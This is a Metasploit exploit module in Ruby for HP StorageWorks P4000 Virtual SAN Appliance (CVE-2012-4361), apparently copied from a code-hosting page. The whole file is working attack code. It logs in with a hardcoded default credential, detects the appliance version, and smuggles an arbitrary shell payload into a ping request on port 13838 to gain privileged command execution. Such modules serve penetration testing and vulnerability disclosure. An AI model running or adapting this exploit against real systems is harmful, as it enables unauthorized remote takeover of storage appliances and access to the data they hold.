137 lines
4.2 KiB
Ruby
137 lines
4.2 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info={})
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super(update_info(info,
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'Name' => "HP StorageWorks P4000 Virtual SAN Appliance Command Execution",
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'Description' => %q{
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This module exploits a vulnerability found in HP's StorageWorks P4000 VSA on
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versions prior to 9.5. By using a default account credential, it is possible
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to inject arbitrary commands as part of a ping request via port 13838.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Nicolas Gregoire', #Discovery, PoC, additional assistance
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'sinn3r' #Metasploit module
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],
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'References' =>
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[
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['CVE', '2012-4361'],
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['OSVDB', '82087'],
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['EDB', '18893'],
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['URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?loc=en_US&id=958'],
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['URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03082086'],
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['URL', 'http://www.agarri.fr/blog/archives/2012/02/index.html'] # Original Disclosure
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],
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'Payload' =>
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{
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'BadChars' => "/",
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic perl telnet'
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}
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},
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread'
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},
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'Platform' => %w{ linux unix },
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'Arch' => ARCH_CMD,
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'Targets' =>
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[
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[ 'Automatic', {} ],
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[ 'HP VSA up to 8.5', { 'Version' => '8.5.0' } ],
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[ 'HP VSA 9', { 'Version' => '9.0.0' } ]
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],
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'Privileged' => true,
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'DisclosureDate' => "Nov 11 2011",
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'DefaultTarget' => 0))
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register_options(
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[
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OptPort.new('RPORT', [true, 'The remote port', 13838])
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], self.class)
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end
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def generate_packet(data)
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pkt = "\x00\x00\x00\x00\x00\x00\x00\x01"
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pkt << [data.length + 1].pack("N*")
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pkt << "\x00\x00\x00\x00"
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pkt << "\x00\x00\x00\x00\x00\x00\x00\x00"
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pkt << "\x00\x00\x00\x14\xff\xff\xff\xff"
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pkt << data
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pkt << "\x00"
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pkt
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end
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def get_target
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if target.name !~ /Automatic/
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return target
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end
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# Login at 8.5.0
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packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"8.5.0\"")
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print_status("#{rhost}:#{rport} Sending login packet for version 8.5.0")
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sock.put(packet)
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res = sock.get_once
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vprint_status(Rex::Text.to_hex_dump(res)) if res
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if res and res=~ /OK/ and res=~ /Login/
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return targets[1]
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end
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# Login at 9.0.0
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packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"9.0.0\"")
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print_status("#{rhost}:#{rport} Sending login packet for version 9.0.0")
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sock.put(packet)
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res = sock.get_once
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vprint_status(Rex::Text.to_hex_dump(res)) if res
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if res and res=~ /OK/ and res =~ /Login/
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return targets[2]
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end
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fail_with(Failure::NoTarget, "#{rhost}:#{rport} - Target auto detection didn't work'")
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end
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def exploit
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connect
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if target.name =~ /Automatic/
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my_target = get_target
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print_good("#{rhost}:#{rport} - Target #{my_target.name} found")
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else
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my_target = target
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print_status("#{rhost}:#{rport} Sending login packet")
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packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"#{my_target['Version']}\"")
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sock.put(packet)
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res = sock.get_once
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vprint_status(Rex::Text.to_hex_dump(res)) if res
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end
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# Command execution
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print_status("#{rhost}:#{rport} Sending injection")
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data = "get:/lhn/public/network/ping/127.0.0.1/foobar;#{payload.encoded}/"
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data << "64/5/" if my_target.name =~ /9/
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packet = generate_packet(data)
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sock.put(packet)
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res = sock.get_once
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vprint_status(Rex::Text.to_hex_dump(res)) if res
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handler
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disconnect
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end
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end
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